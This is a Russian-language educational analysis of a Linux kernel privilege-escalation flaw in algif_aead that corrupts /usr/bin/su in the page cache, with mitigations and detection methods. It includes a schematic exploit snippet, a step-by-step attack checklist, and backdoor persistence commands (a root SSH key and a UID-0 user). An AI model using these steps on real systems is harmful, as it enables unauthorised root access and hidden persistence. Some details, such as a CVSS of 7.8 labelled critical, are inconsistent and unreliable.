
Подробный анализ уязвимости Copy Fail (CVE-2026-31431) в ядре Linux, включая механизм повреждения памяти, цепочку повышения привилегий и влияние на безопасность.
Образовательный анализ уязвимости Copy Fail в ядре Linux.
Рассматриваются механизм повреждения памяти, цепочка повышения привилегий, побег из контейнера и меры защиты.
Этот репозиторий предназначен только для образовательных и исследовательских целей.
Не используйте эту информацию на системах, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
Все фрагменты кода и команды предоставлены исключительно для понимания внутреннего устройства ядра Linux.
CVE-2026-31431, также известная как Copy Fail, — это уязвимость ядра Linux, позволяющая непривилегированному локальному пользователю повысить привилегии до root без каких-либо специальных разрешений.
Атака полностью происходит в оперативной памяти. Файл на диске никогда не затрагивается — контрольные суммы файлов остаются чистыми, временные метки не меняются, а журналы аудита ничего не фиксируют. После перезагрузки системы все улики исчезают.
Обычный пользователь → эксплойт ошибки algif_aead → перезапись page cache → root
Ключевые свойства:
/usr/bin/su — целевой бинарный файлsu (Switch User) позволяет пользователю переключиться на другую учётную запись — обычно root. Это SetUID-бинарный файл:
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
# ^-- 's' = флаг SetUID
Флаг s означает: когда любой пользователь запускает этот бинарный файл, он выполняется с правами root. Это делает его ценной целью.
Его внутренняя логика (упрощённо):
if (password_correct()) {
give_root_access();
} else {
deny_access();
}
Цель атаки: полностью пропустить проверку password_correct().
Когда Linux читает файл с диска, он сохраняет его копию в RAM, называемую page cache.
| Компонент | Описание |
|---|---|
| Диск | Исходный файл на диске (книжная полка) |
| Page Cache | Копия файла в RAM (ксерокопия на вашем столе) |
| CPU | Читает и выполняет код из page cache — быстро |
| Атакующий | Изменяет копию в RAM; диск остаётся нетронутым |
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB ← это page cache
| Тип | Безопасность |
|---|---|
| Безопасный буфер — выделен ядром, размер и границы контролируются | ✅ ОК |
| Page Cache — копия файла в RAM, общая, исполняемая | ⚠️ ОПАСНО при записи |
| Неверный указатель — адрес, полученный из-за ошибки, указывающий куда угодно | 🔴 КРИТИЧНО |
AF_ALG (Algorithm Family) — это сокетный интерфейс Linux, позволяющий программам пользовательского пространства использовать криптографические функции ядра (AES, SHA, AEAD).
socket(AF_ALG, SOCK_SEQPACKET, 0); // открыть крипто-сокет
algif_aead — это модуль ядра, обрабатывающий AEAD-шифрование (например, AES-GCM) через AF_ALG. Уязвимость находится в его шаге копирования данных.
AF_ALG → algif_aead → движок AES-GCM → выходной буфер
↑
ЗДЕСЬ ОШИБКА
Ошибка не в логике шифрования. Она в работе с памятью — при копировании данных выбирается неверная область памяти.
destination = safe_output_buffer; // правильное место
memcpy(destination, user_data, size); // данные записаны безопасно
destination = buffer + WRONG_OFFSET; // ОШИБКА: неверный указатель!
memcpy(destination, user_data, size); // данные попадают в page cache
Ядро должно было записать в безопасный выходной буфер. Из-за неверно рассчитанного смещения оно записывает в page cache — где хранится копия /usr/bin/su в RAM.
Бинарный файл содержит машинный код x86-64. Атакующий нацеливается на условный переход, вызывающий сбой аутентификации:
До атаки:
cmp eax, 0 ; проверка возвращаемого значения
jne 0x1234 ; если ошибка → переход к отказу
call give_root ; предоставить root
После атаки (2 байта изменены в RAM):
cmp eax, 0 ; то же самое
90 90 ; NOP NOP ← переход заменён, проверка пропущена!
call give_root ; CPU попадает сюда напрямую
NOP = No Operation (нет операции). CPU ничего не делает и переходит дальше — полностью пропуская проверку аутентификации.
«Мне нужна только обычная учётная запись пользователя. Ядро само совершит ошибку.
Диск останется чистым. Никаких журналов. Работает каждый раз.»
whoami && id
# uid=1000(user) gid=1000(user) ← обычный пользователь
uname -r
# 6.1.0-generic ← в уязвимом диапазоне
ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID подтверждён
python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG available')"
cat /usr/bin/su > /dev/null
# /usr/bin/su теперь загружен в page cache ✓
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su
Ищем: адрес функции аутентификации, условный переход jne/jnz и его точное байтовое смещение.
import socket, struct
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)
payload = b'\x90\x90' # NOP NOP — заменяет условный переход
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])
# Внутри ядра (упрощённо):
destination = buffer + crafted_offset # ОШИБКА: неверный указатель
memcpy(destination, payload, 2) # байты NOP записаны в page cache
# Проверка пароля /usr/bin/su теперь NOP NOP в RAM
su
# Password: (что угодно — или просто Enter)
# root@victim:/# ← ПОЛУЧЕН ROOT
Что произошло: Система выполнила /usr/bin/su из RAM. Проверка пароля была NOP. CPU пропустил её. give_root() был вызван напрямую.
echo 'attacker_public_key' >> /root/.ssh/authorized_keys
useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd
После атаки следователь-криминалист обнаружит:
sha256sum /usr/bin/su # ТА ЖЕ контрольная сумма, что и раньше ← диск не тронут
diff /usr/bin/su backup/su # Нет различий
grep -r 'attack' /var/log/ # Ничего
auditd logs # Записи о записи файла отсутствуют
После перезагрузки RAM очищается — все улики исчезают.
Контейнеры изолируют пользовательское пространство — но ядро является общим, а page cache — это память ядра.
Ядро хоста
├── Контейнер 1 (изолированное пользовательское пространство)
│ └── Здесь находится атакующий
├── Контейнер 2
└── Процесс хоста
Page Cache: ОБЩИЙ для всех контейнеров и хоста!
Путь побега: Атакующий в Контейнере 1 читает /usr/bin/su хоста → запускает ошибку → бинарный файл хоста изменён в RAM → запуск su на хосте даёт root на хостовой машине.
Затронуты: Docker, Podman, LXC, Kubernetes (общие узлы) — если ядро хоста уязвимо.
Это упражнения только для наблюдения. Для любого тестирования используйте лабораторную среду (Docker + ВМ со старым ядром).
free -h # запомните значение Cache до
cat /usr/bin/su > /dev/null # загрузите файл в page cache
free -h # Cache немного увеличится
su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su
xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'
sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit
sha256sum /usr/bin/su
# Обычно совпадает с диском — отличается после успешной атаки
# Сравнение /proc/PID/mem требует прав root
Приоритет 1 — Обновление ядра (лучшее решение)
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot
# RHEL / CentOS
sudo yum update kernel
sudo reboot
Приоритет 2 — Отключение algif_aead
sudo modprobe -r algif_aead
echo 'install algif_aead /bin/false' | \
sudo tee /etc/modprobe.d/disable-algif-aead.conf
Приоритет 3 — Контроль доступа
Примените профили seccomp с SystemCallFilter в службах systemd, чтобы ограничить доступ к сокетам AF_ALG для недоверенных процессов.
sudo bpftrace -e '
kprobe:algif_aead_sendmsg {
printf("ALERT: algif_aead sendmsg by PID %d (user %d)\n", pid, uid);
}
'
# Запуск с профилем seccomp (блокирует AF_ALG)
docker run --security-opt seccomp=custom-profile.json my-image
restrictedCVE-2026-31431 сочетает скрытность (диск не изменён) + надёжность (нет состояния гонки) + побег из контейнера — что делает её уникально опасной среди своего класса.
algif_aead, если он не требуетсяВ CVE-2026-31431 криптомодуль Linux (
algif_aead) содержит ошибку копирования памяти, из-за которой данные, контролируемые атакующим, попадают в page cache вместо безопасного выходного буфера — незаметно изменяя SetUID-бинарный файл в RAM — что позволяет любому локальному пользователю получить root-доступ, не оставляя ни единого следа на диске.
Этот документ подготовлен для образовательного понимания внутренней безопасности ядра Linux.
— Только в образовательных целях —
| Поле | Значение |
|---|
| Идентификатор CVE | CVE-2026-31431 |
| Общепринятое название | Copy Fail / Повреждение page cache в algif_aead |
| Оценка CVSS v3.1 | 7.8 — КРИТИЧЕСКАЯ |
| Тип атаки | Локальное повышение привилегий (LPE) |
| Затронутые версии ядра | Linux 5.10 – 6.8 (приблизительно) |
| Уязвимый компонент | crypto/algif_aead.c — сокетный интерфейс AF_ALG |
| Надёжность эксплуатации | ВЫСОКАЯ — состояние гонки не требуется |
| Улики на диске | ОТСУТСТВУЮТ — изменение только в RAM |
| Влияние на контейнеры | ДА — побег на хост через общий page cache |
| Статус исправления | Доступно (выпущен патч вышестоящего ядра) |
| CVE | Состояние гонки? | Диск в безопасности? | Надёжность |
|---|
| CVE-2016-5195 DirtyCow | ДА — требуется точное время | НЕТ — диск изменён | Средняя |
| CVE-2022-0847 DirtyPipe | Минимальное | ДА — только RAM | Высокая |
| CVE-2026-31431 Copy Fail | НЕТ — прямая запись | ДА — только RAM | ОЧЕНЬ ВЫСОКАЯ |
| Метод обнаружения | Работает? |
|---|
| sha256sum / контрольная сумма файла | ❌ Диск идентичен |
| Временная метка изменения файла | ❌ Диск не тронут |
| Журналы записи файлов auditd | ❌ Записи на диск не производилось |
Проверка памяти процесса (/proc) | ✅ Только при мониторинге в реальном времени |
| Мониторинг ядра eBPF | ✅ Обнаружение на уровне системных вызовов |
| Криминалистика памяти (LiME) | ✅ Но сложно |
| Метод | Команда / Подход |
|---|
| Версия ядра | uname -r → сравните с исправленной версией |
| Загружен ли модуль? | lsmod | grep algif_aead |
| Мониторинг eBPF | bpftrace -e 'kprobe:algif_aead_sendmsg { ... }' |
| Память процесса | cat /proc/PID/maps — сравните с контрольной суммой диска |
| auditd | ausearch -sc socket -sv no |
| Falco | Правило: неожиданный memfd или запись в page cache |
| Криминалистика памяти | Дамп LiME для анализа после инцидента |
| CVE / Название | Состояние гонки? | Диск в безопасности? | Побег из контейнера? | Надёжность |
|---|
| CVE-2016-5195 DirtyCow | ДА — требуется точное время | ❌ Диск изменён | Частичный | Средняя |
| CVE-2022-0847 DirtyPipe | Минимальное | ✅ Только RAM | ДА | Высокая |
| CVE-2026-31431 Copy Fail | НЕТ — прямая запись | ✅ Только RAM | ДА — общий кэш | ОЧЕНЬ ВЫСОКАЯ |
| Термин | Значение |
|---|
| Повышение привилегий | Переход от обычного пользователя к root без авторизации |
| Page Cache | Копия файла, хранящаяся в RAM, управляемая ядром |
| SetUID-бинарный файл | Файл, принадлежащий root, который выполняется с правами root для любого пользователя |
| Примитив записи | Возможность произвольной записи в память, полученная через ошибку |
| Состояние гонки | Атака, основанная на времени, требующая точного окна выполнения |
| AF_ALG | Сокетный криптографический интерфейс ядра Linux (Algorithm Family) |
| algif_aead | Модуль ядра для AEAD-шифрования — уязвимый компонент |
| memcpy() | Функция копирования памяти — перемещает данные из одного адреса в другой |
| NOP | No Operation — инструкция CPU, которая ничего не делает и переходит дальше |
| Побег из контейнера | Выход из контейнера для доступа к хостовой системе |
| eBPF | Инструмент мониторинга на уровне ядра для обнаружения системных вызовов в реальном времени |
| LiME | Linux Memory Extractor — инструмент дампа RAM для криминалистического анализа |
| Seccomp | Secure Computing — механизм Linux для ограничения системных вызовов |
| ELF | Executable and Linkable Format — стандартный формат бинарных файлов Linux |
| CVE | Common Vulnerabilities and Exposures — идентификатор уязвимости |
| CVSS | Common Vulnerability Scoring System — стандартизированная оценка серьёзности |
| Модуль ядра | Плагин ядра (например, драйверы устройств, обработчики криптографии) |
| Смещение | Расстояние в байтах от одной точки памяти до другой |
| Обратная разработка | Анализ скомпилированного бинарного файла без доступа к исходному коду |
| Шаг | Действие |
|---|
| 1 | whoami — убедитесь, что вы обычный пользователь |
| 2 | uname -r — проверьте, что ядро в уязвимом диапазоне (5.10 – 6.8) |
| 3 | ls -la /usr/bin/su — убедитесь, что флаг SetUID присутствует |
| 4 | Запустите скрипт эксплойта: AF_ALG → algif_aead → сформированная полезная нагрузка |
| 5 | Срабатывает ошибка ядра → page cache /usr/bin/su перезаписан в RAM |
| 6 | Запустите su → ПОЛУЧЕН root (пароль не требуется) |
| 7 | Закрепление: добавьте SSH-ключ или создайте root-пользователя-бэкдор |